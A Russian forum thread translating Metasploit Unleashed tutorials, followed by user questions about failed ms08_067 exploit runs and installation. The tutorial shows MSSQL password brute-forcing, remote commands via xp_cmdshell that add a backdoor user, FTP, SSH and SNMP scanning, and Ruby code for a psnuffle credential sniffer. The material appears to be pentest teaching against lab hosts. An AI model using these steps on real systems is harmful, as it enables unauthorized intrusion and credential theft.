вы можете использовать опцию ' scanner / MSSQL / mssql_login' модуль перебора паролей при прохождении файла словаря. Кроме того, можно также использовать Fast-Track, медуза, или гидру, чтобы сделать это. Как только вы успешно угадатли пароль, есть аккуратный маленький модуль для выполнения xp_cmdshell. Code: msf auxiliary(mssql_login) > use admin/mssql/mssql_exec msf auxiliary(mssql_exec) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- MSSQL_PASS no The password for the specified username MSSQL_PASS_FILE no A dictionary of passwords to perform a bruteforce attempt MSSQL_USER sa no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_exec) > set RHOST 10.211.55.128 RHOST => 10.211.55.128 msf auxiliary(mssql_exec) > set MSSQL_PASS password MSSQL_PASS => password msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD cmd => net user rel1k ihazpassword /ADD msf auxiliary(mssql_exec) > exploit The command completed successfully. [*] Auxiliary module execution completed Cмотря на ввод ‘net user rel1k ihazpassword /ADD, мы видим что мы успешно добавили учетную запись пользователя, с именем "rel1k", оттуда мы могли запустить ‘net localgroup administrator rel1k /ADD ', чтобы получить своего администратора на системе непосредственно. У нас есть полный контроль над этой системой
Идентификация сервиса Идентификация сервиса Опять же, в Metasploit , есть есть альтернатива использовании Nmap с целью идентификации сервиса сканируя целевую сеть. Metasploit также включает в себя большое разнообразие сканеров для различных задач, иногда помогает вам определить потенциально уязвимы работающие сервисы на целевой машине. Code: msf auxiliary(tcp) > search auxiliary ^scanner [*] Searching loaded modules for pattern '^scanner'... Auxiliary ========= Name Description ---- ----------- scanner/db2/discovery DB2 Discovery Service Detection. scanner/dcerpc/endpoint_mapper Endpoint Mapper Service Discovery scanner/dcerpc/hidden Hidden DCERPC Service Discovery scanner/dcerpc/management Remote Management Interface Discovery scanner/dcerpc/tcp_dcerpc_auditor DCERPC TCP Service Auditor scanner/dect/call_scanner DECT Call Scanner scanner/dect/station_scanner DECT Base Station Scanner scanner/discovery/arp_sweep ARP Sweep Local Network Discovery scanner/discovery/sweep_udp UDP Service Sweeper scanner/emc/alphastor_devicemanager EMC AlphaStor Device Manager Service. scanner/emc/alphastor_librarymanager EMC AlphaStor Library Manager Service. scanner/ftp/anonymous Anonymous FTP Access Detection scanner/http/frontpage FrontPage Server Extensions Detection scanner/http/frontpage_login FrontPage Server Extensions Login Utility scanner/http/lucky_punch HTTP Microsoft SQL Injection Table XSS Infection scanner/http/ms09_020_webdav_unicode_bypass MS09-020 IIS6 WebDAV Unicode Auth Bypass scanner/http/options HTTP Options Detection scanner/http/version HTTP Version Detection ...snip... scanner/ip/ipidseq IPID Sequence Scanner scanner/misc/ib_service_mgr_info Borland InterBase Services Manager Information scanner/motorola/timbuktu_udp Motorola Timbuktu Service Detection. scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility scanner/mysql/version MySQL Server Version Enumeration scanner/nfs/nfsmount NFS Mount Scanner scanner/oracle/emc_sid Oracle Enterprise Manager Control SID Discovery scanner/oracle/sid_enum SID Enumeration. scanner/oracle/spy_sid Oracle Application Server Spy Servlet SID Enumeration. scanner/oracle/tnslsnr_version Oracle tnslsnr Service Version Query. scanner/oracle/xdb_sid Oracle XML DB SID Discovery ...snip... scanner/sip/enumerator SIP username enumerator scanner/sip/options SIP Endpoint Scanner scanner/smb/login SMB Login Check Scanner scanner/smb/pipe_auditor SMB Session Pipe Auditor scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor scanner/smb/smb2 SMB 2.0 Protocol Detection scanner/smb/version SMB Version Detection scanner/smtp/smtp_banner SMTP Banner Grabber scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module scanner/snmp/community SNMP Community Scanner scanner/ssh/ssh_version SSH Version Scannner scanner/telephony/wardial Wardialer scanner/tftp/tftpbrute TFTP Brute Forcer scanner/vnc/vnc_none_auth VNC Authentication None Detection scanner/x11/open_x11 X11 No-Auth Scanner В нашем результате сканирования портов появились некоторые машины с 22 TCP-портом закрытым. SSH очень безопасный, но уязвимость возможна и она дает возможность собрать как можно больше информации про вашы цели. Мы записали результаты в наш выходной файл, чтобы использовать его для, примера, при разборе хостов, которые имеют 22 открытый порт и передаем его в 'RHOSTS. Code: msf auxiliary(arp_sweep) > use scanner/ssh/ssh_version msf auxiliary(ssh_version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(ssh_version) > cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt [*] exec: cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt msf auxiliary(ssh_version) > set RHOSTS file:/tmp/22_open.txt RHOSTS => file:/tmp/22_open.txt msf auxiliary(ssh_version) > set THREADS 50 THREADS => 50 msf auxiliary(ssh_version) > run [*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52 [*] 192.168.1.137:22, SSH server version: SSH-1.99-OpenSSH_4.4 [*] Auxiliary module execution completed Плохо настроенный FTP сервер часто может стать способом получить доступ к целой сети, поэтому подобное сканирование всегда окупается, когда вы проверяете, на то разрешен ли анонимный доступ, тогда когда Вы сталкиваетесь с открытым FTP портом. Здесь мы установим 10 потоков, когда будем сканировать диапазон от 10 хостов. Code: msf > use scanner/ftp/anonymous msf auxiliary(anonymous) > set RHOSTS 192.168.1.20-192.168.1.30 RHOSTS => 192.168.1.20-192.168.1.30 msf auxiliary(anonymous) > set THREADS 10 THREADS => 10 msf auxiliary(anonymous) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS [email protected] no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(anonymous) > run [*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1.3)) [*] Recording successful FTP credentials for 192.168.1.23 [*] Auxiliary module execution completed За короткий промежуток времени и проделавши мало работы, мы имеем возможность получить большое количество информации о хостах, проживающих на нашей сети етим самым предоставляя нам гораздо более полную картину того, с чем мы сталкиваемся при осуществлении нашего проникновения.
Password SniffingНедавно Макс Мозер выпустил «Metasploit пароль–снифинг модуль» с именем 'psnuffle ", который будет снифить пароли аналогично инструменту Dsniff. В настоящее время она поддерживает протоколы POP3, IMAP, FTP и HTTP GET. Вы можете читать больше о модуле на блоге Макса на http://remote-exploit.blogspot.com/2009/08/psnuffle-password-sniffer-for.html. Использование модуля 'psnuffle' чрезвычайно проста. Есть несколько вариантов, но прекрасно работает модуль " out of the box ". Code: msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all". SNAPLEN 65535 yes The number of bytes to capture TIMEOUT 1 yes The number of seconds to wait for new data Как вы видите, есть несколько вариантов, включая возможность импорта файлов PCAP захвата. Мы будем запускать сканер в режиме - default. Code: msf auxiliary(psnuffle) > run [*] Auxiliary module running as background job [*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb... [*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... [*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com 3CDaemon FTP Server Version 2.0) Есть! Мы успешно захватили Логин FTP. Это отличный инструмент для пассивного сбора информации.
Как написать новый модуль psnuffle Как написать новый модуль psnuffle Psnuffle легко расширить за счет своей модульной конструкции. Этот раздел будет руководствоваться в процессе разработки IRC (Internet Relay Chat) сетевых пакетов (Notify and Nick messages). Расположение модуля Все различные модули находятся в data/exploits/psnuffle. Имена соответствующие протоколу ето имена, используемые внутри psnuffle. Для написания нашего собственного модуля, мы взглянем на важные части существующего POP3 Sniffer модуля в качестве шаблона. План определений: Code: self.sigs = { :ok => /^(+OK[^n]*)n/si, :err => /^(-ERR[^n]*)n/si, :user => /^USERs+([^n]+)n/si, :pass => /^PASSs+([^n]+)n/si, :quit => /^(QUITs*[^n]*)n/si } [CODE] Этот раздел определяет особенности экспрессии, которая будет использоваться во время снифинга, он выявит интересные данные. Регулярные выражения выглядят очень странно в начале, но они очень мощный инструмент. Одним словом все, что в () будет доступна в переменной потом в самом скрипте. [CODE] self.sigs = { :user => /^(NICKs+[^n]+)/si, :pass => /b(IDENTIFYs+[^n]+)/si,} Для IRC этот раздел будет выглядеть так как те выше. Да, я знаю не все nickservers используют идентификацию с отправлением сообщения с паролем, но один на FreeNode ето делает. Сессия определения: Для каждого модуля мы должны сначала определить, какие порты он должен занимать и как сессия должна отслеживаться. Code: return if not pkt[:tcp] # We don't want to handle anything other than tcp return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667 #Ensure that the session hash stays the same for both way of communication if (pkt[:tcp].dst_port == 6667) # When packet is sent to server s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}") else # When packet is coming from the server s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}") end Теперь, когда у нас есть объект сессии, который консолидирует информацию, мы можем пройти на процесс пакета содержания, который соответствует одному из регулярных выражений, которое мы определили ранее. Оригинальный текст (Now that we have a session object that uniquely consolidates info, we can go on and process packet content that matched one of the regular expressions we defined earlier.) Code: case matched when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content s[:user]=matches #Store the name into the session hash s for later use # Do whatever you like here... maybe a puts if you need to when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching s[:pass]=matches # Store the password into the session hash s as well if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n" end sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore when nil # No matches, don't do anything else # Just in case anything else is matching... sessions[s[:session]].merge!({k => matches}) # Just add it to the session object end Это в основном все. Скачать полный сценарий http://www.offensive-security.com/metasploit-unleashed/UserFiles/File/irc.rb .
SNMP Sweeping SNMP SweepingSNMP Sweeps часто являются хорошим способом найти тонны информации о конкретной системе или на самом деле нанести ущерб удаленному устройству. Если вы можете найти устройство Cisco которое работает на частной линие, для примера, то вы можете скачать всю конфигурацию устройства, изменить ее и загружать свои собственные вредоносные конфигурационные файлы. Также часто вы будете находить, пароли 7 уровня закодированости ето означает, что они тривиальны для декодирования что даст возможность получить доступ (логин пароль) для конкретного устройства. Metasploit поставляется со встроенным модулем вспомогательным специально для проникновения в устройства SNMP. Есть несколько вещей, нужных для понимания, прежде чем мы выполним нашу атаку. Во-первых настройка read only и read write играет важную роль на то какого рода информация может быть извлечена или на возможность изменение конфигурации самих устройств. Если вы можете "угадать" настройку read only или read write то можно получить довольно много доступа который вы обычно не имеете. Кроме того, если устройства на базе Windows настроены с SNMP, с RO / RW то можно извлечь уровень патча службы, время последней перезагрузки, имена пользователей в системе, маршрутах, а также различную другую информацию, что является ценным для аттакующего. При запросе через SNMP, есть так называемая MIB API. MIB отвечает за Management Information Base (MIB), этот интерфейс позволяет запрашивать устройства для получения информации. Получен результат по умолчанию приходит Metasploit списком базы MIB, то что он имеет в своей базе данных, он использует для запросов к устройству для получения дополнительной информации в зависимости от уровня доступа. Давайте взглянем на вспомогательный модуль. Code: msf > search snmp [*] Searching loaded modules for pattern 'snmp'... Exploits ======== Name Description ---- ----------- windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32) Auxiliary ========= Name Description ---- ----------- scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module scanner/snmp/community SNMP Community Scanner msf auxiliary(wardial) > use scanner/snmp/community msf auxiliary(community) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set COMMUNITIES /pentest/exploits/framework3/data/wordlists/snmp.txt no The list of communities that should be attempted per host RHOSTS yes The target address range or CIDR identifier RPORT 161 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255 rhosts => 192.168.0.0-192.168.5.255 msf auxiliary(community) > set THREADS 10 threads => 10 msf auxiliary(community) > run [*] >> progress (192.168.0.0-192.168.0.255) 0/30208... [*] >> progress (192.168.1.0-192.168.1.255) 0/30208... [*] >> progress (192.168.2.0-192.168.2.255) 0/30208... [*] >> progress (192.168.3.0-192.168.3.255) 0/30208... [*] >> progress (192.168.4.0-192.168.4.255) 0/30208... [*] >> progress (-) 0/0... [*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5 PN:apc_hw02_aos_355.bin AF1:v3.5.5 AN1:apc_hw02_sumx_355.bin MN:AP9619 HR:A10 SN: NA0827001465 MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)' [*] Auxiliary module execution completed Как мы видим здесь, мы смогли найти строку "public ", это, скорее всего настроено, только для чтения и не даст много информации. Мы видим, что устройство APC Web / SNMP device и какая версия етого устройства.
=( кароче не могу использовать ms08_067 вот такая хня вылазиет: [*] Started reverse handler [*] Triggering the vulnerability... [*] Exploit completed, but no session was created. и не понел ещё одно в Lhost и Rhost писать свой ip или жертвы?? Просто все описания написаны на дыру в ie не поянтно =)
Здесь http://bruteforcer.ru/ тоже перевод курсов METASPLOIT UNLEASHED – MASTERING THE FRAMEWORK, которые лежат на http://www.offensive-security.com/metasploit-unleashed
что ему не хватает? Code: [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 3 - lang:Russian [*] Selected Target: Windows XP SP3 Russian (NX) [*] Triggering the vulnerability... [*] Sending stage (240 bytes) [*] Command shell session 4 opened (192.168.56.101:38614 -> 192.168.56.103:4444) [-] Exploit failed: [B]Bad file descriptor[/B] [*] Exploit completed, but no session was created. msf exploit(ms08_067_netapi) >
Бразерз помогите! на win serv 2000 установил Metasploit 3.3 при попытке импорта db_import_nmap_xml C:\nmap\skan_results.xml Metasploit пишет что файла не существует... че за фигня? ... фаил есть, путь указан как есть, опечатка исключена копипастом ... до сего момента на win машинах metasploit не юзал.
скажите что делать? скачал и установил Metasploit Framework 3.3.1 запускаю консоль а там вот что : "[*] Configuring multi-user permissions for first run..." пишу команды не реагирует